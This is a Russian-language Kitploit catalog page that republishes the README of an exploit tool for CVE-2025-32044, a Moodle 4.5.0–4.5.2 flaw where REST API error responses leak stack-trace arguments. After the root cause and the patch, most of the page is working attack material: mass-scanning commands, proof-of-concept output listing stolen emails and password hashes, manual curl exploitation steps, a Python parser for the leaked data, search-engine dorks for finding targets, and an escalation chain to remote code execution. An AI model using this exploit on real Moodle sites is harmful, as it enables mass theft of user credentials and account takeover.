Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-32044 — Moodle 4.5.0-4.5.2 Неаутентифицированное раскрытие данных пользователя через REST API из-за утечки аргументов стека | CVSS 7.5 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2025-32044
Взлом паролейАнализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubshinthink/cve-2025-32044

CVE-2025-32044

Moodle 4.5.0-4.5.2 Неаутентифицированное раскрытие данных пользователя через REST API из-за утечки аргументов стека | CVSS 7.5

Репозиторий
172 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-32044 — Раскрытие пользовательских данных через неавторизованный REST API Moodle

Утечка аргументов стек-трейса → Имена, Email, Хэши паролей


Обзор

CVE-2025-32044 — это уязвимость высокого уровня серьезности (CVSS 7.5) неавторизованного раскрытия информации в Moodle LMS 4.5.0 – 4.5.2.

Уязвимость находится в обработчике исключений REST API Moodle — exception_response::get_payload_data() в lib/classes/router/response/exception_response.php. До исправления в ответах об ошибках API включались трассировки стека PHP с аргументами функций. Эти аргументы содержат чувствительные пользовательские данные, передаваемые через стек вызовов — включая имена пользователей, полные имена, адреса электронной почты и хэши паролей.

Для утечки не требуется ни аутентификация, ни токен, ни взаимодействие с пользователем. Атакующему достаточно отправить некорректный запрос к любой конечной точке REST API, который вызовет внутреннее исключение.

Затронутые версии

Версия MoodleСтатус
4.5.0 – 4.5.2Уязвима
4.5.3+Исправлена
< 4.5.0Не затронута
Все версии с zend.exception_ignore_args = OnНе затронута

Обнаружил: Lucas Alonso (14 марта 2025 года)
Moodle Tracker: MDL-84879
Уведомление: MSA-25-0011


Механизм уязвимости

Первопричина

// lib/classes/router/response/exception_response.php (ДО исправления)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← включает 'args'!
    ];
    return $data;
}

Когда при обработке REST API возникает исключение, трассировка стека PHP включает аргументы функций (args) для каждого фрейма стека вызовов. Эти аргументы непреднамеренно содержат данные таблицы пользователей, которые обрабатывались функциями выше по цепочке вызовов.

Исправление (Moodle 4.5.3)

// lib/classes/router/response/exception_response.php (ПОСЛЕ исправления)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

Плюс эшелонированная защита в lib/setup.php:

ini_set('zend.exception_ignore_args', '1');

Схема атаки

1. Цель — Moodle 4.5.0-4.5.2 без zend.exception_ignore_args
2. Отправить некорректный запрос на /webservice/rest/server.php
   (например, core_user_get_users_by_field без обязательных параметров)
3. Внутреннее исключение возникает при обработке пользовательских данных
4. Ответ API с ошибкой включает стек-трейс с 'args'
5. Извлечь аргументы: имена пользователей, email, хэши

Какие данные утекают

ПолеИсточник
Имя пользователятаблица user
Полное имяfirstname + lastname
Emailстолбец email
Хэш пароляхэши bcrypt $2y$ / $2b$
IP последнего входастолбец lastip
ID пользователястолбец id

Установка

git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

Использование

# Одиночная цель
python cve_2025_32044.py -t moodle.target.com

# Массовое сканирование
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Массовое сканирование с большим числом потоков
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Режим отладки
python cve_2025_32044.py -t moodle.target.com --debug -v

Аргументы

  -t, --target      Одиночная цель (домен или IP)
  -f, --file        Список целей, по одной на строку
  -o, --output      Сохранить утекшие данные пользователя в файл
  --threads         Количество одновременных потоков (по умолчанию: 30)
  --timeout         Таймаут запроса в секундах (по умолчанию: 10)
  --debug           Показывать каждый HTTP-запрос
  -v, --verbose     Подробный вывод

Подтверждение концепции

Одиночная цель

$ python cve_2025_32044.py -t moodle-target.com
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : YES v4.5.1
  WS Enabled : YES
  Token      : obtained (admin)

  ═══ DATA LEAKED ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  Emails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Time       : 3.2s

Массовое сканирование

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Targets: 500  |  Threads: 30  |  Mode: QUIET

  [LEAK] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5

Ручная эксплуатация

Шаг 1 — Обнаружение Moodle + Web Services

# Проверка на Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Проверка web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS включён + возможно гостевой доступ
# {"error":"Web services must be enabled..."} = WS отключён

Шаг 2 — Получение токена (если возможно)

curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'

Шаг 3 — Вызов исключения и захват утечки

curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Если уязвима, ответ будет содержать stacktrace с args

Шаг 4 — Парсинг утекших данных

import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

Обнаружение (Shodan / FOFA)

FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"

Влияние

Успешная эксплуатация позволяет:

  • Перечисление пользователей — полный список пользователей Moodle
  • Адреса электронной почты — фишинг, перебор с использованием украденных учётных данных
  • Хэши паролей — офлайн-взлом → захват учётных записей
  • IP последних входов — отслеживание местоположения пользователей
  • Цепочка: взлом хэша → вход → повышение до администратора → редактирование шаблона → RCE

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВЫХ ЦЕЛЕЙ.

Это программное обеспечение предназначено для специалистов по безопасности, проводящих авторизованные тесты на проникновение, организаций, проверяющих собственную инфраструктуру, и исследователей, изучающих эксплуатацию уязвимостей.

Авторы не несут ответственности за неправомерное использование.


Ссылки

Скачать инструмент